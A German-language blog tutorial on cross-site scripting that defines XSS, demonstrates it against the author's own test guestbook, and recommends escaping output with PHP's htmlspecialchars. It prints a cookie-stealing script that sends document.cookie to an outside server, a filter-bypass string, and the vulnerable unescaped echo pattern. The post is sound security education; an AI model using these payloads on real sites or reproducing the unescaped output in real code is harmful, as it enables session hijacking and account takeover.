Cross Site Scripting (XSS) Erklärung, Beispiel und Schutz

In diesem, wahrscheinlich etwas längerem, Blogeintrag möchte ich die Gefahren von XSS Lücken aufzeigen, ein praktisches Beispiel zeigen und zeigen, wie man XSS Lücken effektiv schließt.
Inhalt:

  • Was sind XSS Lücken?
  • Welche Gefahren entstehen durch XSS Lücken?
  • Wie schützt man sich vor XSS Lücken?

1. Was sind XSS Lücken?
XSS Lücken werden leider von sehr vielen Administratoren unterschätzt. Viele schützen sich gar nicht, oder nur sehr unzureichend. Daher ist es auch nicht verwunderlich, dass ich selbst auf der Seite der Telekom, Eplus etc. solche Lücken schon fand. Zugegebener maßen waren dies zwar keine persistenten XSS Lücken (So nennt man die Art von XSS Lücke, bei der der Code dauerhaft auf der Seite bleibt), aber dennoch sollte man sie nie unterschätzen.
Was ist nun aber genau eine XSS Lücke? Eine XSS Lücke ist eine Sicherheitsschwachstelle auf einer Internetseite, bei der der Angreifer beliebigen Code (meist Javascript) auf der Seite platziert, sodass dieser von den Usern ausgeführt wird. Dies geschieht dadurch, dass Benutzereingaben, ohne überprüft zu werden direkt auf der Seite ausgegeben werden. Wenn der Angreifer dann beispielsweise den Code

<script>alert('XSS')</script>

auf der Seite platziert, würde jeder Benutzer einer Meldung bekommen , in der ‘XSS’ steht (Wer es einmal sehen will kann hier klicken. Da dies noch eine sehr harmlose Attacke wäre, kommen wir nun zu den etwas gefährlicheren.


2. Welche Gefahren entstehen durch XSS Lücken?
Die wohl größte und am meisten praktizierte Möglichkeit, die eine XSS Lücke bietet ist das „Cookie Stealing“, also das Klauen des aktuellen Cookies des Benutzers. Dadurch ist der Angreifer in der Lage den Account des Opfers zu übernehmen und mit diesem zu machen was er will. Besonders gefährlich wird dies bei Seiten, auf denen persönliche Daten hinterlegt sind.
Eine weitere Möglichkeit, die sich nicht den User, sondern viel mehr an den Betreiber der Website schaden soll, ist beispielsweise eine Weiterleitung auf eine andere Website, oder das gesamte Design der Website zu verändern.
Wir beschäftigen uns beispielhaft mit dem „Cookie stealing“. Dieses Beispiel ist nicht dafür gedacht, dass es jemand nachmacht, um andere zu schaden. Es ist nur dafür da, um zu zeigen, wie gefährlich solche Lücken sind und wie leicht sie ausgenutzt werden können.
Für das Beispiel habe ich ein kleines, sehr simples Gästebuch in PHP geschrieben. Dieses findet ihr unter http://xss.nbusch.de. Als erstes öffnet sich eine Loginseite. Auf dieser sind jegliche User und Passwort Kombinationen valide, sie dienen ausschließlich dazu einen Cookie zu setzen, welchen man auslesen kann.
Fangen wir an:
Ich benutze folgende Logindaten. User: Niklas Passwort: 12345. Nach dem Login kommt man direkt in das Gästebuch. Das Gästebuch ist so programmiert, dass die Nachricht genau einmal ausgegeben wird und danach weg ist. (in richtigen Gästebüchern ist dies natürlich anders)
An dieser Stelle bin ich eine schizophrene Person :D Auf der einen Seite das Opfer „Niklas“ und auf der anderen Seite der Angreifer „Niklas“ ;) Soeben habe ich mich als Opfer „Niklas“ im Gästebuch eingeloggt. Nun jedoch bin ich der Angreifer „Niklas“ und will dem Opfer „Niklas“ sein Passwort klauen. (Ganz schon verwirrend oder?). Testen wir erst einmal, ob die Seite überhaupt eine XSS Lücke hat. Dazu benutzen wir folgenden Code, den wir in das Gästebuch schreiben:

 <script>alert('XSS')</script> 

vuln.png
Das sieht eindeutig nach einer Lücke aus.
Wie kommen wir nun aber an den Cookie von „Niklas“? Dazu gibt es in Javascript die Variable „document.cookie“, in der alle Cookies die auf diesem „Dokument“, also der aktuellen Website, verfügbar sind. Also lassen wir uns diese einfach mal ausgeben.

<script>alert(document.cookie)</script>

cookie.png
Und da ist er auch schon, der Cookie von „Niklas“. Diesen muss ich als Angreifer nun nur noch irgendwie für mich sichtbar machen und zwar möglichst so, dass das Opfer davon nichts mitbekommt. Dies geht ziemlich einfach, indem wir uns z.B. ein PHP Script auf unseren Server legen und diesem einfach den Wert, der in der Variablen „document.cookie“ enthalten ist, übergeben. Das Script speichert dieses dann für uns ab und wir können ihn verwenden.
Der Code zum übergeben der Variable könnte beispielsweise so aussehen:

<script>
document.location =
'http://nbusch.de/steal.php?cookie=' + document.cookie
</script>

Mein PHP Script in der „steal.php“ kann nun den Cookie durch den GET Parameter „cookie“ weiter verarbeiten.
Das Opfer sieht nun nichts von dem Code, bekommt also keine Ausgabe und denkt, dass das Gästebuch wie gewollt funktioniert und alles gut ist.
Mit einem Firefox Plugin wie Cookie Manager+ könnte der Angreifer den Cookie des Opfers dann auf der Seite verwenden. Weiter werde ich darauf hier nicht eingehen, da ich wie gesagt nicht will, dass einige Leute ein Kochbuch zum Ausnutzen solcher Lücken bekommen.


3. Wie schützt man sich vor XSS Lücken?
Der wohl wichtigste Teil in diesem Paper. Wie schützt man sich nun vor XSS Lücken?
Auf diese Frage gibt es eine Menge Antworten und Lösungen. Viele Administratoren machen es sich aus Unwissen dabei extrem!! schwer und schaffen es dann nicht einmal die Lücke richtig zu schließen.
Auf vielen Seiten findet man Filter vor, welche einfach beispielsweise das Wort „<script>“ aus jeder Eingabe löschen. Das ist zwar schön und gut, jedoch kommt man an einem solchen Filtern leicht vorbei, da sie den Text meist nur einmal durchlaufen. Daher kann man durch die Eingabe von „<scr<script>ipt>“ das gebannte Wort wieder erzeugen. Wir erkennen, dass durch das Löschen von „<script>“ wieder „<script>“ entsteht. Und schon sind wir an dem Filter vorbeigekommen.
Also wie schütze ich mich effektiv, ohne dass es einen Weg vorbei gibt?
Die Antwort ist eine einzige Funktion in PHP. Diese heißt htmlspecialchars (http://php.net/manual/en/function.htmlspecialchars.php). Die Funktion wandelt einfach alle Sonderzeichen in die entsprechenden HTML Codes um. So wird zum Beispiel das „kleiner als“ Zeichen (<) zu einem &lt;. Dies hat jedoch keine Auswirkungen auf die Ausgabe, der Benutzer sieht also immer noch das „kleiner als“ Zeichen.
Wenn ich also nun den Code in meinem Gästebuch von

echo $_POST['message']

auf

echo htmlspecialchars($_POST['message'])

abändere, hat keiner mehr eine Chance Code in die Seite einzufügen. Da diese Lösung wirklich nicht kompliziert ist, rate ich allen Administratoren dazu, einfach jegliche Ausgaben, die ein User verändern könnte, vor der Ausgabe durch die Funktion filtern zu lassen. Fall es wirklich Leute gibt, die von Microflopps ASP .not ;) benutzen: Dort gibt es bestimmt äquivalente Funktionen. Falls nicht, kann man sich diese auch leicht selber schreiben.

Ich hoffe, dass sich der Eintrag, trotz der Länge gut lesen lässt und auch spannend ist.